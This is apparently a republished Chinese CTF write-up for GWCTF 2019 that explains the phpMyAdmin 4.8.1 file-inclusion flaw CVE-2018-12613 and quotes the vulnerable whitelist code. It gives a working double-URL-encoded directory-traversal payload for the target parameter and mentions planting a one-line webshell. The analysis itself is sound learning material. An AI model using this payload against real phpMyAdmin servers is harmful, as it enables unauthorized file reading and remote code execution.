当前位置: 首页 > news >正文

[GWCTF 2019]我有一个数据库

看上去像是某种编码,又或者是使用了不兼容的解码方式...看答案...

说是将txt转化为md格式就能看到。

抓包、扫描查找其他线索。

 phpmyadmin是数据库管理工具,phpinfo是查看php配置信息。访问一下试试:

访问phpinfo.php显示的是本机php配置,访问phpmyadmin显示的是工具界面,可以看到只有一个空的test数据库。应该又是什么新鲜知识,看答案...

phpmyadmin4.8.1中的真实漏洞CVE-2018-12613:

$target_blacklist = array ('import.php', 'export.php'
);// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {include $_REQUEST['target'];exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{if (empty($whitelist)) {$whitelist = self::$goto_whitelist;
//这里传入的whitelist本来就是空的,所以whitelist就是goto_whitelist}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_strpos返回第一个查找到的?的位置
//这里先把$page和?拼接在一起,防止$page里面本来就没有?,然后再获取$page中?之前的部分if (in_array($_page, $whitelist)) {return true;}//进行url解码了,以防传进来的数据进行了url编码$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}return false;
}

为什么是截取到第一个问号进行白名单过滤呢?

访问某文件如 /index.php 时可以通过?a=1?b=2来设置查询参数。

截取问号前的部分是为了提取真正的 PHP 脚本名(如 index.php),而忽略其后的查询参数。

public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php',等等等等
);

存在文件包含漏洞。为什么使用的是白名单还有文件包含漏洞呢?原因就在于这里存在url解码后过滤但是包含的是解码前的内容。某个路径可以满足url解码后能通过白名单过滤(利用代码中的字符串截取)但是其实并非白名单中的文件路径(利用目录遍历特性),从而导致任意文件包含漏洞。我猜测修补方案就是保证过滤和包含的文件路径解码统一。

构造playload:

/db_sql.php?../../../../../../flag  该路径能通过白名单过滤,但是包含的是db_sql.php文件(如果存在),将问号后的内容作为查询参数。

将问号进行两次url编码:/db_sql.php%253F../../../../../../flag,首先该参数传到服务端时会自动进行一次url解码,然后过滤时再进行一次url解码,得到/db_sql.php?../../../../../../flag,可以通过白名单过滤。并且include('/db_sql.php%3F../../../../../../flag') (包含解码一次后的路径) 时利用一个目录遍历特性:

 这里的db_sql.php%3F虽然是一个不存在的路径,但是并不影响目录穿越。

/phpmyadmin/?target=db_sql.php%253F../../../../../../../flag

成功拿到flag。

但是这里有个问题,假如flag不是放在根目录中怎么办?

可以通过植入一句话木马,参考下面这篇博客:phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客 

http://www.lryc.cn/news/587439.html

相关文章:

  • 在 Ubuntu 下安装 MySQL 数据库
  • 谷歌推出Vertex AI Memory Bank:为AI智能体带来持久记忆,支持连续对话
  • 【echarts踩坑记录】为什么第二个Y轴最大值不整洁
  • 华为HarmonyOS 5.0深度解析:跨设备算力池技术白皮书(2025全场景智慧中枢)
  • JavaScript加强篇——第八章 高效渲染与正则表达式
  • vue防内存泄漏和性能优化浅解
  • PHP语法高级篇(二):文件处理
  • 小架构step系列13:测试用例的加载
  • python的平安驾校管理系统
  • C# 接口(接口可以继承接口)
  • MySQL SQL语句精要:DDL、DML与DCL的深度探究
  • 大模型-量化技术
  • mmap映射文件
  • mapstruct与lombok冲突原因及解决方案
  • Java面试基础:面向对象(2)
  • 利用 MySQL 进行数据清洗
  • System.getenv()拿不到你配置的环境变量
  • 流程控制:从基础结构到跨语言实践与优化
  • IP 地址与网络基础全面解析
  • AI驱动的软件工程(中):文档驱动的编码与执行
  • 【前端知识】移动端APP原生应用与H5交互底层逻辑
  • C#接口进阶:继承与多态实战解析
  • 高压空气冲击炮cad【3张】三维图+设计说明书
  • AutoDL挂载阿里云OSS
  • 01.深入理解 Python 中的 if __name__ == “__main__“
  • 自动润滑系统:从 “盲目养护“ 到智能精注的工业运维革命
  • MD5算法深度剖析与可视化解析
  • MailSpring
  • C++--unordered_set和unordered_map的使用
  • 基于 STM32H743VIT6 的边缘 AI 实践:猫咪叫声分类 CNN 网络部署实战(已验证)中一些bug总结